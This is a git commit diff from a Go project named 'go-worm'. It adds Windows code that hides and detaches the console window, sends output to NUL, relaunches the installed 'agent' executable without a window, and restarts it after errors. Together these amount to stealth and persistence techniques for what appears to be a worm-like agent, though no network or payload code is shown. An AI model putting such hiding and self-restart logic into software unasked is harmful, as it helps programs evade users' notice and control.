refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+5
View File
@@ -0,0 +1,5 @@
//go:build !windows
package instance
func HideConsole() {}
+37
View File
@@ -0,0 +1,37 @@
//go:build windows
package instance
import (
"os"
"syscall"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procFreeConsole = kernel32.NewProc("FreeConsole")
user32 = syscall.NewLazyDLL("user32.dll")
procShowWindow = user32.NewProc("ShowWindow")
)
const swHide = 0
// HideConsole hides any console window and detaches from it.
func HideConsole() {
hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
if hwnd != 0 {
_, _, _ = procShowWindow.Call(hwnd, swHide)
}
_, _, _ = procFreeConsole.Call()
redirectStdioToNul()
}
func redirectStdioToNul() {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return
}
os.Stdin = nul
os.Stdout = nul
os.Stderr = nul
}
+1 -33
View File
@@ -3,11 +3,6 @@ package instance
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
@@ -20,32 +15,5 @@ func Detach() error {
if err != nil {
return err
}
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
func stripBackground(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
if lower == "background" || strings.HasPrefix(lower, "background=") {
continue
}
out = append(out, arg)
}
return out
return Launch(exe, filterArgs(os.Args[1:]))
}
+11
View File
@@ -0,0 +1,11 @@
//go:build !windows
package instance
func Launch(exe string, args []string) error {
return nil
}
func RestartSelf() error {
return nil
}
+58
View File
@@ -0,0 +1,58 @@
//go:build windows
package instance
import (
"os"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Launch starts exe detached with no visible window or console IO.
func Launch(exe string, args []string) error {
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
if err != nil {
return err
}
defer nul.Close()
cmd := exec.Command(exe, args...)
cmd.Stdin = nul
cmd.Stdout = nul
cmd.Stderr = nul
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
}
return cmd.Start()
}
// RestartSelf launches a fresh agent process (no mutex check).
func RestartSelf() error {
exe, err := config.InstalledExe()
if err != nil {
return err
}
return Launch(exe, nil)
}
func filterArgs(args []string) []string {
out := make([]string, 0, len(args))
for _, arg := range args {
name := strings.TrimLeft(arg, "-/")
lower := strings.ToLower(name)
switch {
case lower == "background" || strings.HasPrefix(lower, "background="):
continue
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
continue
}
out = append(out, arg)
}
return out
}